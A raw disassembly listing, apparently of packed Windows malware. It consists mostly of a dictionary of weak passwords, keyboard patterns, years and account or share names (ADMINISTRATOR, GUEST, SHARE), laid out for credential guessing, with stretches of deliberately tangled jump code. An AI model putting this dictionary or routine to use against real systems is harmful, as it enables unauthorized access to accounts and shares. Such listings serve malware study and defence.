dd offset aSex ; "SEX" dd offset aNokia ; "NOKIA" dd offset aXp ; "XP" dd offset aA_1 ; "a" dd offset aAa ; "aa" dd offset aAaa ; "aaa" dd offset aAaaa ; "aaaa" dd offset aAaaaa ; "aaaaa" dd offset aAaaaaa ; "aaaaaa" dd offset aAaaaaaa ; "aaaaaaa" dd offset aAaaaaaaa ; "aaaaaaaa" dd offset aAaaaaaaaa ; "aaaaaaaaa" dd offset aPassword_0 ; "Password" dd offset aPassword1 ; "password1" dd offset aQw ; "qw" dd offset aQwe ; "qwe" dd offset aQwer ; "qwer" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aQwertyu ; "qwertyu" dd offset aQwertyui ; "qwertyui" dd offset aQwertyuio ; "qwertyuio" dd offset aQwertyuiop ; "qwertyuiop" dd offset aRoot ; "root" dd offset aServer_0 ; "server" dd offset aService ; "service" dd offset aServers ; "servers" dd offset aServices ; "services" dd offset aSystem ; "system" dd offset aSystem_0 ; "SYSTEM" dd offset off_42EC80 dd offset aChi ; "chi" dd offset aKor_0 ; "kor" dd offset aTiger ; "tiger" dd offset aKor ; "KOR" dd offset aToyota ; "TOYOTA" dd offset aToyota_0 ; "toyota" dd offset asc_432C6C ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset aXyz ; "xyz" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aKonyang ; "konyang" dd offset aZ ; "z" dd offset aZx ; "zx" dd offset aZxc ; "zxc" dd offset aZxcv ; "zxcv" dd offset aZxcvb ; "zxcvb" dd offset aZxcvbn ; "zxcvbn" dd offset aZxcvbnm ; "zxcvbnm" dd offset aAs ; "as" dd offset aAsd ; "asd" dd offset aAsdf ; "asdf" dd offset aAsdfg ; "asdfg" dd offset aAsdfgh ; "asdfgh" dd offset aAsdfghj ; "asdfghj" dd offset aAsdfghjk ; "asdfghjk" dd offset aAsdfghjkl ; "asdfghjkl" dd offset aQaz ; "qaz" dd offset aWsx ; "wsx" dd offset aEdc ; "edc" ; --------------------------------------------------------------------------- cld loc_42E499: ; CODE XREF: .nsp0:0042E4ACj jmp short loc_42E4DD ; --------------------------------------------------------------------------- align 4 clc jmp short loc_42E4E1 ; --------------------------------------------------------------------------- align 10h dd offset aBb ; "bb" dd offset aBbb ; "bbb" dd offset aBbbb ; "bbbb" ; --------------------------------------------------------------------------- loopne loc_42E499 inc edx add al, bl jmp short loc_42E4F5 ; --------------------------------------------------------------------------- align 4 shr bl, 1 inc edx add ah, al jmp short loc_42E4FD ; --------------------------------------------------------------------------- align 4 mov eax, 0B40042EBh jmp short loc_42E505 ; --------------------------------------------------------------------------- align 4 dd offset aCc ; "cc" ; --------------------------------------------------------------------------- lodsb jmp short loc_42E50D ; --------------------------------------------------------------------------- align 4 movsb jmp short loc_42E511 ; --------------------------------------------------------------------------- align 10h pushf jmp short loc_42E515 ; --------------------------------------------------------------------------- align 4 xchg eax, esp jmp short loc_42E519 ; --------------------------------------------------------------------------- align 4 dd offset aCcccccc ; "ccccccc" db 80h ; --------------------------------------------------------------------------- loc_42E4DD: ; CODE XREF: .nsp0:loc_42E499j jmp short loc_42E521 ; --------------------------------------------------------------------------- align 10h db 74h ; --------------------------------------------------------------------------- loc_42E4E1: ; CODE XREF: .nsp0:0042E49Dj jmp short loc_42E525 ; --------------------------------------------------------------------------- align 4 dd offset aD ; "d" dd offset aDd_2 ; "dd" ; --------------------------------------------------------------------------- push 600042EBh jmp short near ptr byte_42E535 ; --------------------------------------------------------------------------- align 4 pop eax loc_42E4F5: ; CODE XREF: .nsp0:0042E4B1j jmp short loc_42E539 ; --------------------------------------------------------------------------- align 4 dd offset aF ; "f" ; --------------------------------------------------------------------------- push eax loc_42E4FD: ; CODE XREF: .nsp0:0042E4B9j jmp short loc_42E541 ; --------------------------------------------------------------------------- align 10h dd offset aFff ; "fff" db 44h ; --------------------------------------------------------------------------- loc_42E505: ; CODE XREF: .nsp0:0042E4C1j jmp short loc_42E549 ; --------------------------------------------------------------------------- align 4 cmp al, 0EBh inc edx add [eax], bh loc_42E50D: ; CODE XREF: .nsp0:0042E4C9j jmp short loc_42E551 ; --------------------------------------------------------------------------- align 10h db 34h ; --------------------------------------------------------------------------- loc_42E511: ; CODE XREF: .nsp0:0042E4CDj jmp short near ptr loc_42E551+4 ; --------------------------------------------------------------------------- align 4 db 30h ; --------------------------------------------------------------------------- loc_42E515: ; CODE XREF: .nsp0:0042E4D1j jmp short loc_42E559 ; --------------------------------------------------------------------------- align 4 db 28h ; --------------------------------------------------------------------------- loc_42E519: ; CODE XREF: .nsp0:0042E4D5j jmp short near ptr loc_42E559+4 ; --------------------------------------------------------------------------- align 4 and bl, ch inc edx add [eax], bl loc_42E521: ; CODE XREF: .nsp0:loc_42E4DDj jmp short loc_42E565 ; --------------------------------------------------------------------------- align 4 db 14h ; --------------------------------------------------------------------------- loc_42E525: ; CODE XREF: .nsp0:loc_42E4E1j jmp short near ptr loc_42E565+4 ; --------------------------------------------------------------------------- align 4 dd offset aGg ; "gg" dd offset aGgg ; "ggg" dd offset aGggg ; "gggg" db 0FCh byte_42E535 db 0EAh, 42h, 0 ; CODE XREF: .nsp0:0042E4F1j db 0F4h ; --------------------------------------------------------------------------- loc_42E539: ; CODE XREF: .nsp0:loc_42E4F5j jmp far ptr 42h:0EAF00042h ; --------------------------------------------------------------------------- db 0ECh ; --------------------------------------------------------------------------- loc_42E541: ; CODE XREF: .nsp0:loc_42E4FDj jmp far ptr 42h:0EAE80042h ; --------------------------------------------------------------------------- db 0E0h ; --------------------------------------------------------------------------- loc_42E549: ; CODE XREF: .nsp0:loc_42E505j jmp far ptr 42h:0EAD80042h ; --------------------------------------------------------------------------- db 0D0h ; --------------------------------------------------------------------------- loc_42E551: ; CODE XREF: .nsp0:loc_42E50Dj ; .nsp0:loc_42E511j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- db 0C8h ; --------------------------------------------------------------------------- loc_42E559: ; CODE XREF: .nsp0:loc_42E515j ; .nsp0:loc_42E519j jmp far ptr 42h:0EAC40042h ; --------------------------------------------------------------------------- mov esp, 0B40042EAh loc_42E565: ; CODE XREF: .nsp0:loc_42E521j ; .nsp0:loc_42E525j jmp far ptr 42h:0EAAC0042h ; --------------------------------------------------------------------------- dd offset aJ ; "j" dd offset aJj ; "jj" dd offset aJjj ; "jjj" dd offset aJjjj ; "jjjj" dd offset aJjjjj ; "jjjjj" dd offset aJjjjjj ; "jjjjjj" dd offset aK ; "k" dd offset aKk ; "kk" dd offset aKkk ; "kkk" dd offset aKkkk ; "kkkk" dd offset aKkkkk ; "kkkkk" dd offset aKkkkkk ; "kkkkkk" dd offset asc_42EA60 ; "l" dd offset aLl ; "ll" dd offset aLll ; "lll" dd offset aLlll ; "llll" dd offset aLllll ; "lllll" dd offset aLlllll ; "llllll" dd offset aM ; "m" dd offset aMm ; "mm" dd offset aMmm ; "mmm" dd offset aMmmm ; "mmmm" dd offset aMmmmm ; "mmmmm" dd offset aMmmmmm ; "mmmmmm" dd offset aN ; "n" dd offset aNn ; "nn" dd offset aNnn ; "nnn" dd offset aNnnn ; "nnnn" dd offset aNnnnn ; "nnnnn" dd offset aNnnnnn ; "nnnnnn" dd offset aO ; "o" dd offset aOo ; "oo" dd offset aOoo ; "ooo" dd offset aOooo ; "oooo" dd offset aOoooo ; "ooooo" dd offset aOooooo ; "oooooo" dd offset aP ; "p" dd offset aPp ; "pp" dd offset aPpp ; "ppp" dd offset aPppp ; "pppp" dd offset aPpppp ; "ppppp" dd offset aPppppp ; "pppppp" dd offset aU ; "u" dd offset aUu ; "uu" dd offset aUuu ; "uuu" dd offset aUuuu ; "uuuu" dd offset aUuuuu ; "uuuuu" dd offset aUuuuuu ; "uuuuuu" dd offset aS_4 ; "s" dd offset aSs ; "ss" dd offset aSss ; "sss" dd offset aSsss ; "ssss" dd offset aSssss ; "sssss" dd offset aSsssss ; "ssssss" dd offset aT ; "t" dd offset aTt ; "tt" dd offset aTtt ; "ttt" dd offset aTttt ; "tttt" dd offset aTtttt ; "ttttt" dd offset aTttttt ; "tttttt" dd offset aY ; "y" dd offset aYy ; "yy" dd offset aYyy ; "yyy" dd offset aYyyy ; "yyyy" dd offset aYyyyy ; "yyyyy" dd offset aYyyyyy ; "yyyyyy" dd offset aV ; "v" dd offset aVv ; "vv" dd offset aVvv ; "vvv" dd offset aVvvv ; "vvvv" dd offset aVvvvv ; "vvvvv" dd offset aVvvvvv ; "vvvvvv" dd offset aW ; "w" dd offset aWw ; "ww" dd offset aWww ; "www" dd offset aWwww ; "wwww" dd offset aWwwww ; "wwwww" dd offset aWwwwww ; "wwwwww" dd offset aQ ; "q" dd offset aQq ; "qq" dd offset aQqq ; "qqq" dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aQqqqqq ; "qqqqqq" dd offset aZ ; "z" dd offset aZz ; "zz" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aZzzzzz ; "zzzzzz" dd offset aXxyyzz ; "xxyyzz" dd offset aZzxx ; "zzxx" dd offset aAass ; "aass" dd offset aQqww ; "qqww" dd offset aZzzxxxccc ; "zzzxxxccc" dd offset aAaasssddd ; "aaasssddd" dd offset aQqqwwweee ; "qqqwwweee" dd offset aQqwwee ; "qqwwee" dd offset aAassdd ; "aassdd" dd offset aZzxxcc ; "zzxxcc" dd offset a1qaz ; "1qaz" dd offset a2wsx ; "2wsx" dd offset a2qaz ; "2qaz" dd offset a3edc ; "3edc" dd offset a3wsx ; "3wsx" dd offset a112233 ; "112233" dd offset aMnb ; "mnb" dd offset aMnbv ; "mnbv" dd offset a2486 ; "2486" dd offset a2684 ; "2684" dd offset a13579 ; "13579" dd offset a753159 ; "753159" dd offset a159357 ; "159357" dd offset a951753 ; "951753" dd offset a753951 ; "753951" dd offset a142536 ; "142536" dd offset aSystem ; "system" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrato_0 ; "Administrator" dd offset aAdministrator ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup_0 ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset byte_438FDC align 8 dword_42E7B8 dd 10h ; DATA XREF: sub_40B075+72w ; sub_40CE55+B60r ... a142536 db '142536',0 ; DATA XREF: .nsp0:0042E738o align 4 a753951 db '753951',0 ; DATA XREF: .nsp0:0042E734o align 4 a951753 db '951753',0 ; DATA XREF: .nsp0:0042E730o align 4 a159357 db '159357',0 ; DATA XREF: .nsp0:0042E72Co align 4 a753159 db '753159',0 ; DATA XREF: .nsp0:0042E728o align 4 a13579 db '13579',0 ; DATA XREF: .nsp0:0042E724o align 4 a2684 db '2684',0 ; DATA XREF: .nsp0:0042E720o align 4 a2486 db '2486',0 ; DATA XREF: .nsp0:0042E71Co align 4 aMnbv db 'mnbv',0 ; DATA XREF: .nsp0:0042E718o align 4 aMnb db 'mnb',0 ; DATA XREF: .nsp0:0042E714o a112233 db '112233',0 ; DATA XREF: .nsp0:0042E710o align 10h a3wsx db '3wsx',0 ; DATA XREF: .nsp0:0042E70Co align 4 a3edc db '3edc',0 ; DATA XREF: .nsp0:0042E708o align 10h a2qaz db '2qaz',0 ; DATA XREF: .nsp0:0042E704o align 4 a2wsx db '2wsx',0 ; DATA XREF: .nsp0:0042E700o align 10h a1qaz db '1qaz',0 ; DATA XREF: .nsp0:0042E6FCo align 4 aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:0042E6F8o align 10h aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:0042E6F4o align 4 aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:0042E6F0o align 10h aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:0042E6ECo align 4 aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:0042E6E8o align 4 aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:0042E6E4o align 4 aQqww db 'qqww',0 ; DATA XREF: .nsp0:0042E6E0o align 4 aAass db 'aass',0 ; DATA XREF: .nsp0:0042E6DCo align 4 aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0042E6D8o align 4 aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:0042E6D4o align 4 aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:0042E6D0o align 4 aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:0042E6CCo align 4 aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0042E6C8o align 4 aZzz db 'zzz',0 ; DATA XREF: .nsp0:0042E6C4o aZz db 'zz',0 ; DATA XREF: .nsp0:0042E6C0o align 4 aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0042E6B8o align 4 aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:0042E6B4o align 4 aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:0042E6B0o align 4 aQqq db 'qqq',0 ; DATA XREF: .nsp0:0042E6ACo aQq db 'qq',0 ; DATA XREF: .nsp0:0042E6A8o align 4 aQ: ; DATA XREF: .nsp0:0042E6A4o unicode 0, <q>,0 aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:0042E6A0o align 10h aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:0042E69Co align 4 aWwww db 'wwww',0 ; DATA XREF: .nsp0:0042E698o align 10h aWww db 'www',0 ; DATA XREF: .nsp0:0042E694o aWw db 'ww',0 ; DATA XREF: .nsp0:0042E690o align 4 aW: ; DATA XREF: .nsp0:0042E68Co unicode 0, <w>,0 aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0042E688o align 4 aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:0042E684o align 4 aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:0042E680o align 4 aVvv db 'vvv',0 ; DATA XREF: sub_40CE55+267Co ; .nsp0:0042E67Co aVv db 'vv',0 ; DATA XREF: .nsp0:0042E678o align 4 aV: ; DATA XREF: .nsp0:0042E674o unicode 0, <v>,0 aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:0042E670o align 4 aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:0042E66Co align 10h aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0042E668o align 4 aYyy db 'yyy',0 ; DATA XREF: .nsp0:0042E664o aYy db 'yy',0 ; DATA XREF: .nsp0:0042E660o align 10h aY: ; DATA XREF: .nsp0:0042E65Co unicode 0, <y>,0 aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0042E658o align 4 aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:0042E654o align 4 aTttt db 'tttt',0 ; DATA XREF: .nsp0:0042E650o align 4 aTtt db 'ttt',0 ; DATA XREF: .nsp0:0042E64Co aTt db 'tt',0 ; DATA XREF: .nsp0:0042E648o align 4 aT: ; DATA XREF: .nsp0:0042E644o unicode 0, <t>,0 aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:0042E640o align 10h aSssss db 'sssss',0 ; DATA XREF: .nsp0:0042E63Co align 4 aSsss db 'ssss',0 ; DATA XREF: .nsp0:0042E638o align 10h aSss db 'sss',0 ; DATA XREF: .nsp0:0042E634o aSs db 'ss',0 ; DATA XREF: .nsp0:0042E630o align 4 aS_4: ; DATA XREF: .nsp0:0042E62Co unicode 0, <s>,0 aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:0042E628o align 4 aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:0042E624o align 4 aUuuu db 'uuuu',0 ; DATA XREF: .nsp0:0042E620o align 4 aUuu db 'uuu',0 ; DATA XREF: .nsp0:0042E61Co aUu db 'uu',0 ; DATA XREF: .nsp0:0042E618o align 4 aU: ; DATA XREF: .nsp0:0042E614o unicode 0, <u>,0 aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:0042E610o align 4 aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:0042E60Co align 10h aPppp db 'pppp',0 ; DATA XREF: .nsp0:0042E608o align 4 aPpp db 'ppp',0 ; DATA XREF: .nsp0:0042E604o aPp db 'pp',0 ; DATA XREF: .nsp0:0042E600o align 10h aP: ; DATA XREF: .nsp0:0042E5FCo unicode 0, <p>,0 aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:0042E5F8o align 4 aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:0042E5F4o align 4 aOooo db 'oooo',0 ; DATA XREF: .nsp0:0042E5F0o align 4 aOoo db 'ooo',0 ; DATA XREF: .nsp0:0042E5ECo aOo db 'oo',0 ; DATA XREF: .nsp0:0042E5E8o align 4 aO: ; DATA XREF: .nsp0:0042E5E4o unicode 0, <o>,0 aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:0042E5E0o align 10h aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:0042E5DCo align 4 aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:0042E5D8o align 10h aNnn db 'nnn',0 ; DATA XREF: .nsp0:0042E5D4o aNn db 'nn',0 ; DATA XREF: .nsp0:0042E5D0o align 4 aN: ; DATA XREF: .nsp0:0042E5CCo unicode 0, <n>,0 aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:0042E5C8o align 4 aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:0042E5C4o align 4 aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:0042E5C0o align 4 aMmm db 'mmm',0 ; DATA XREF: .nsp0:0042E5BCo aMm db 'mm',0 ; DATA XREF: .nsp0:0042E5B8o align 4 aM: ; DATA XREF: .nsp0:0042E5B4o unicode 0, <m>,0 aLlllll db 'llllll',0 ; DATA XREF: .nsp0:0042E5B0o align 4 aLllll db 'lllll',0 ; DATA XREF: .nsp0:0042E5ACo align 10h aLlll db 'llll',0 ; DATA XREF: .nsp0:0042E5A8o align 4 aLll db 'lll',0 ; DATA XREF: .nsp0:0042E5A4o aLl db 'll',0 ; DATA XREF: .nsp0:0042E5A0o align 10h asc_42EA60: ; DATA XREF: .nsp0:0042E59Co unicode 0, <l>,0 aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:0042E598o align 4 aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:0042E594o align 4 aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:0042E590o align 4 aKkk db 'kkk',0 ; DATA XREF: .nsp0:0042E58Co aKk db 'kk',0 ; DATA XREF: .nsp0:0042E588o align 4 aK: ; DATA XREF: .nsp0:0042E584o unicode 0, <k>,0 aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:0042E580o align 10h aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:0042E57Co align 4 aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:0042E578o align 10h aJjj db 'jjj',0 ; DATA XREF: .nsp0:0042E574o aJj db 'jj',0 ; DATA XREF: .nsp0:0042E570o align 4 aJ: ; DATA XREF: .nsp0:0042E56Co unicode 0, <j>,0 aIiiiii db 'iiiiii',0 align 4 aIiiii db 'iiiii',0 align 4 aIiii db 'iiii',0 align 4 aIii db 'iii',0 aIi db 'ii',0 align 4 aI_0: unicode 0, <i>,0 aHhhhhh db 'hhhhhh',0 align 4 aHhhhh db 'hhhhh',0 align 10h aHhhh db 'hhhh',0 align 4 aHhh db 'hhh',0 aHh db 'hh',0 align 10h unicode 0, <h>,0 aGggggg db 'gggggg',0 align 4 aGgggg db 'ggggg',0 align 4 aGggg db 'gggg',0 ; DATA XREF: .nsp0:0042E530o align 4 aGgg db 'ggg',0 ; DATA XREF: .nsp0:0042E52Co aGg db 'gg',0 ; DATA XREF: .nsp0:0042E528o align 4 aG: unicode 0, <g>,0 aEeeeee db 'eeeeee',0 align 10h aEeeee db 'eeeee',0 align 4 aEeee db 'eeee',0 align 10h aEee db 'eee',0 aEe db 'ee',0 align 4 aE: unicode 0, <e>,0 aFffff db 'fffff',0 align 4 aFfff db 'ffff',0 align 4 aFff db 'fff',0 ; DATA XREF: .nsp0:0042E500o aFf db 'ff',0 align 4 aF: ; DATA XREF: .nsp0:0042E4F8o unicode 0, <f>,0 aDdddd db 'ddddd',0 align 10h aDddd db 'dddd',0 align 4 aDdd db 'ddd',0 aDd_2 db 'dd',0 ; DATA XREF: .nsp0:0042E4E8o align 10h aD: ; DATA XREF: .nsp0:0042E4E4o unicode 0, <d>,0 aCcccccccc db 'ccccccccc',0 align 10h aCccccccc db 'cccccccc',0 align 4 aCcccccc db 'ccccccc',0 ; DATA XREF: .nsp0:0042E4D8o aCccccc db 'cccccc',0 align 4 aCcccc db 'ccccc',0 align 4 aCccc_0 db 'cccc',0 align 4 aCcc db 'ccc',0 aCc db 'cc',0 ; DATA XREF: .nsp0:0042E4C4o align 4 aC_1: unicode 0, <c>,0 aBbbbbbbbb db 'bbbbbbbbb',0 align 4 aBbbbbbbb db 'bbbbbbbb',0 align 10h aBbbbbbb db 'bbbbbbb',0 aBbbbbb db 'bbbbbb',0 align 10h aBbbbb db 'bbbbb',0 align 4 aBbbb db 'bbbb',0 ; DATA XREF: .nsp0:0042E4A8o align 10h aBbb db 'bbb',0 ; DATA XREF: .nsp0:0042E4A4o aBb db 'bb',0 ; DATA XREF: .nsp0:0042E4A0o align 4 aB_0: unicode 0, <b>,0 aRfv db 'rfv',0 aEdc db 'edc',0 ; DATA XREF: .nsp0:0042E494o aWsx db 'wsx',0 ; DATA XREF: .nsp0:0042E490o aQaz db 'qaz',0 ; DATA XREF: .nsp0:0042E48Co aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .nsp0:0042E488o align 4 aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .nsp0:0042E484o align 4 aAsdfghj db 'asdfghj',0 ; DATA XREF: .nsp0:0042E480o aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:0042E47Co align 4 aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:0042E478o align 4 aAs db 'as',0 ; DATA XREF: .nsp0:0042E46Co align 10h aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .nsp0:0042E468o aZxcvbn db 'zxcvbn',0 ; DATA XREF: .nsp0:0042E464o align 10h aZxcvb db 'zxcvb',0 ; DATA XREF: .nsp0:0042E460o align 4 aZxc db 'zxc',0 ; DATA XREF: .nsp0:0042E458o aZx db 'zx',0 ; DATA XREF: .nsp0:0042E454o align 10h aZ: ; DATA XREF: .nsp0:0042E450o ; .nsp0:0042E6BCo unicode 0, <z>,0 aKonyang db 'konyang',0 ; DATA XREF: .nsp0:0042E44Co aToyota db 'TOYOTA',0 ; DATA XREF: .nsp0:0042E414o align 4 aKor db 'KOR',0 ; DATA XREF: .nsp0:0042E410o aKor_0 db 'kor',0 ; DATA XREF: .nsp0:0042E408o aChi db 'chi',0 ; DATA XREF: .nsp0:0042E404o off_42EC80 dd offset byte_494843 ; DATA XREF: .nsp0:0042E400o aSystem db 'system',0 ; DATA XREF: .nsp0:0042E3F8o ; .nsp0:0042E73Co align 4 aServices db 'services',0 ; DATA XREF: .nsp0:0042E3F4o align 4 aServers db 'servers',0 ; DATA XREF: .nsp0:0042E3F0o aServer_0 db 'server',0 ; DATA XREF: .nsp0:0042E3E8o align 4 aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: .nsp0:0042E3E0o align 4 aQwertyuio db 'qwertyuio',0 ; DATA XREF: .nsp0:0042E3DCo align 10h aQwertyui db 'qwertyui',0 ; DATA XREF: .nsp0:0042E3D8o align 4 aQwertyu db 'qwertyu',0 ; DATA XREF: .nsp0:0042E3D4o aQwe db 'qwe',0 ; DATA XREF: .nsp0:0042E3C4o aQw db 'qw',0 ; DATA XREF: .nsp0:0042E3C0o align 4 aPassword1 db 'password1',0 ; DATA XREF: .nsp0:0042E3BCo align 4 aPassword_0 db 'Password',0 ; DATA XREF: .nsp0:0042E3B8o align 4 aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .nsp0:0042E3B4o align 10h aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .nsp0:0042E3B0o align 4 aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .nsp0:0042E3ACo aAaaaaa db 'aaaaaa',0 ; DATA XREF: .nsp0:0042E3A8o align 4 aAaaaa db 'aaaaa',0 ; DATA XREF: .nsp0:0042E3A4o align 4 aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:0042E3A0o align 4 aAa db 'aa',0 ; DATA XREF: .nsp0:0042E398o align 10h aNokia db 'NOKIA',0 ; DATA XREF: .nsp0:0042E38Co align 4 aSex db 'SEX',0 ; DATA XREF: .nsp0:0042E388o aCreative db 'CREATIVE',0 ; DATA XREF: .nsp0:0042E384o align 4 aDisc_0 db 'DISC',0 ; DATA XREF: .nsp0:0042E380o align 10h aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .nsp0:0042E37Co align 4 aMaster_0 db 'MASTER',0 ; DATA XREF: .nsp0:0042E378o align 4 aSony_0 db 'SONY',0 ; DATA XREF: .nsp0:0042E374o align 4 aSamsung db 'samsung',0 ; DATA XREF: .nsp0:0042E370o aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: .nsp0:0042E36Co aSony db 'sony',0 ; DATA XREF: .nsp0:0042E368o align 4 a7654321 db '7654321',0 ; DATA XREF: .nsp0:0042E364o a4321 db '4321',0 ; DATA XREF: .nsp0:0042E358o align 4 a321 db '321',0 ; DATA XREF: .nsp0:0042E354o a2006 db '2006',0 ; DATA XREF: .nsp0:0042E34Co align 10h a2005 db '2005',0 ; DATA XREF: .nsp0:0042E348o align 4 a2004 db '2004',0 ; DATA XREF: .nsp0:0042E344o align 10h a2001 db '2001',0 ; DATA XREF: .nsp0:0042E338o align 4 a2000 db '2000',0 ; DATA XREF: .nsp0:0042E334o align 10h a1999 db '1999',0 ; DATA XREF: .nsp0:0042E330o align 4 a1998 db '1998',0 ; DATA XREF: .nsp0:0042E32Co align 10h a1997 db '1997',0 ; DATA XREF: .nsp0:0042E328o align 4 a1996 db '1996',0 ; DATA XREF: .nsp0:0042E324o align 10h a1995 db '1995',0 ; DATA XREF: .nsp0:0042E320o align 4 a1994 db '1994',0 ; DATA XREF: .nsp0:0042E31Co align 10h a1993 db '1993',0 ; DATA XREF: .nsp0:0042E318o align 4 a1992 db '1992',0 ; DATA XREF: .nsp0:0042E314o align 10h a1991 db '1991',0 ; DATA XREF: .nsp0:0042E310o align 4 a1990 db '1990',0 ; DATA XREF: .nsp0:0042E30Co align 10h a1989 db '1989',0 ; DATA XREF: .nsp0:0042E308o align 4 a1988 db '1988',0 ; DATA XREF: .nsp0:0042E304o align 10h a1987 db '1987',0 ; DATA XREF: .nsp0:0042E300o align 4 a1986 db '1986',0 ; DATA XREF: .nsp0:0042E2FCo align 10h a1985 db '1985',0 ; DATA XREF: .nsp0:0042E2F8o align 4 a1984 db '1984',0 ; DATA XREF: .nsp0:0042E2F4o align 10h a1983 db '1983',0 ; DATA XREF: .nsp0:0042E2F0o align 4 a1982 db '1982',0 ; DATA XREF: .nsp0:0042E2ECo align 10h a1981 db '1981',0 ; DATA XREF: .nsp0:0042E2E8o align 4 a1980 db '1980',0 ; DATA XREF: .nsp0:0042E2E4o align 10h a1979 db '1979',0 ; DATA XREF: .nsp0:0042E2E0o align 4 a1978 db '1978',0 ; DATA XREF: .nsp0:0042E2DCo align 10h a1977 db '1977',0 ; DATA XREF: .nsp0:0042E2D8o align 4 a1976 db '1976',0 ; DATA XREF: .nsp0:0042E2D4o align 10h a1975 db '1975',0 ; DATA XREF: .nsp0:0042E2D0o align 4 a1974 db '1974',0 ; DATA XREF: .nsp0:0042E2CCo align 10h a1973 db '1973',0 ; DATA XREF: .nsp0:0042E2C8o align 4 a1972 db '1972',0 ; DATA XREF: .nsp0:0042E2C4o align 10h a1971 db '1971',0 ; DATA XREF: .nsp0:0042E2C0o align 4 a1970 db '1970',0 ; DATA XREF: .nsp0:0042E2BCo align 10h a1969 db '1969',0 ; DATA XREF: .nsp0:0042E2B8o align 4 a1968 db '1968',0 ; DATA XREF: .nsp0:0042E2B4o align 10h a1967 db '1967',0 ; DATA XREF: .nsp0:0042E2B0o align 4 a1966 db '1966',0 ; DATA XREF: .nsp0:0042E2ACo align 10h a1965 db '1965',0 ; DATA XREF: .nsp0:0042E2A8o align 4 a1964 db '1964',0 ; DATA XREF: .nsp0:0042E2A4o align 10h a1963 db '1963',0 ; DATA XREF: .nsp0:0042E2A0o align 4 a1962 db '1962',0 ; DATA XREF: .nsp0:0042E29Co align 10h a1961 db '1961',0 ; DATA XREF: .nsp0:0042E298o align 4 a1960 db '1960',0 ; DATA XREF: .nsp0:0042E294o align 10h a1959 db 